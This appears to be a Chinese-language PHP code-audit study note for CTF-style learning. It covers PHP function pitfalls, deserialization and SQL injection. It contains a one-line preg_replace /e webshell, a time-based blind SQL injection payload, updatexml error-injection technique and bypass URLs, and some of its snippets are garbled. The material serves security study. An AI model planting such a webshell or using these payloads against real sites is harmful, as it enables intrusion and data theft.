PHP代码审计笔记

时间:2022-06-26
本文章向大家介绍PHP代码审计笔记,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

数组比较

http://blog.evalbug.com/2015/11/10/different_arrays_compare_indentical_due_to_integer_key_truncation/

<?php

$flag ="XXXX"; 

if(empty($_GET['user'])) die(show_source(__FILE__));

$user = ['admin', 'xxoo'];

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
    echo $flag;
}
?>
//http://localhost/test.php?user[1]=xxoo&user[4294967296]=admin

strcmp()

strcmp(string str1,stringstr2); 比较str1和str2 如果长度1>2 返回1否则返回0 但是仅限于两者数据类型相同 如果s1是一个int型 s2是个string型就无法比较 返回的永远是0

extract()

函数从数组中将变量导入到当前的符号表。

extract($_GET)存在变量覆盖漏洞

preg_match()

$fangzhang = "hongyaasasashoasasngyaaaaahongyaaa:/a/aahongya";
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:/./(.*hongya)/i", $fangzhang, $match);

echo $IsMatch;

正则表达式匹配

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE

ereg()

ereg

**ereg**     ( string `$pattern`    , string `$string`    [, array `&$regs`   ] ) : int

以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。

rand()

在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章

http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

state[i] = state[i-3] + state[i-31] 

字符串

查一下php手册;http://php.net/manual/zh/language.types.string.php 。除了用单引号,双引号表示字符串外,还有以下两种:

  • heredoc 语法结构
  • nowdoc 语法结构

parse_url()

mixed parse_url ( string $url [, int $component = -1 ] )

本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

url:要解析的 URL。无效字符将使用 _ 来替换。

component:

指定 PHP_URL_SCHEMEPHP_URL_HOSTPHP_URL_PORTPHP_URL_USERPHP_URL_PASSPHP_URL_PATHPHP_URL_QUERYPHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string。 (除了指定为PHP_URL_PORT 后,将返回一个 integer 的值)。

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path
  • #### parse_url()会把//认为是相对路径(5.4.7以前)

///会被返回false

例如如下代码,如果输入http://localhost/1.php?sql=select会被过滤

parsestr()

对字符串进行解析,同时还自带urldecode功能,所以参数通过使用%2527就可以绕过addslashes函数

stripcslashes()

反引用一个使用 addcslashes() 转义的字符串

返回反转义后的字符串。可识别类似 C 语言的 nr,… 八进制以及十六进制的描述。

stripcslashes('Hxaello') == 'H'.chr(0xAE).'llo'

is_numeric()和int类型转换

is_numeric()支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。

强制类型转换int,不能正确转换的类型有十六进制型字符串、科学计数法型字符串(部分)。

<?php
show_source(__FILE__);
$temp = $_GET['temp'];
echo (int)$temp;
?> 

?temp=0x76a701 输出0

?temp=0e11输出0

?temp=4e11输出4

addslashes()

使用反斜线引用字符串

在单引号 双引号 反斜线 与NUl 前面加上反斜线

preg_replace()

/e

PHP5.5.0以下可用,5.5.0及以上版本已经被弃用了。使用 preg_replace_callback() 代替。/e 即 PREG_REPLACE_EVAL。

执行一个正则表达式的搜索和替换

 preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索subject中匹配pattern的部分, 以replacement进行替换。

如果subject是一个数组, preg_replace()返回一个数组,其他情况下返回一个字符串。

webshell代码

<?php
@preg_replace(``"/[pageerror]/e"``,$_POST[``'error'``],``"saft"``);

关于GPC和REQUESTS

字母出现顺序越靠后则数据加载的顺序越靠前,也就是说如果以POST、GET方式传入同样的变量,那么用REQUEST获取的就是POST的变量值。

https://doubler.cn/2018/10/13/PHP-Audit-Labs-Day12/

<?php

$a = "aaa'";
$a = addslashes($a);
$c = "$option='$a';";
$str = $a;
echo $a;
echo "n";
echo $c;
echo "n";
$file = "$option='asa';";
// $file = preg_replace('|$option='.*';|', "$option='$str';", $file);
$file = preg_replace('|$option='.*';|', $c, $file);
echo $file;

这里面有一个疑问,运行的结果如下

aaa\'
$option='aaa\'';
$option='aaa\'';

为什么会吃掉一个字符串。

反序列化问题

PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患

http://www.91ri.org/15925.html

http://www.vuln.cn/6413

PHP 内置了多种处理器用于存取PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

处理器

对应的存储格式

php

键名 + 竖线 + 经过 serialize() 函数反序列处理的值

php_binary

键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

php_serialize (php>=5.5.4)

经过 serialize() 函数反序列处理的数组

当 session.auto_start=On 时:

因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的

session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。

关于phpinfo()

https://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/

关于00绕过

0x00 为16进制的截断字符

%00 经过url解码之后为截断字符

ereg()函数存在NULL截断漏洞

SQL注入

bypass

  • https://yq.aliyun.com/articles/436608
  • <br />'||if(rpad(`key`,1,1)='a',sleep(3),1)#<br />

update注入

https://paper.seebug.org/216/
mysql
PDATE student D
  LEFT JOIN (SELECT 
        B.studentId,
                SUM(B.score) AS s_sum,
                ROUND(AVG(B.score),1) AS s_avg
           FROM score B
          WHERE b.examTime >= '2015-03-10'
          GROUP BY B.studentId) C
    ON (C.studentId = D.id)

   SET D.score_sum = c.s_sum,
       D.score_avg = c.s_avg
 WHERE D.id = 
       (
         SELECT 
        E.id FROM 
        (
                  SELECT 
                DISTINCT a.studentId AS id
                    FROM score A
                   WHERE A.examTime >= '2015-03-10'
                ) E 
          WHERE E.id = D.id
       )
   AND d.age = 1;

mysql注入技巧

  • /*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释 select /*!50709version()*/;

报错注入原理

  • UpdateXML(xml_target, xpath_expr, new_xml) updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换 这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据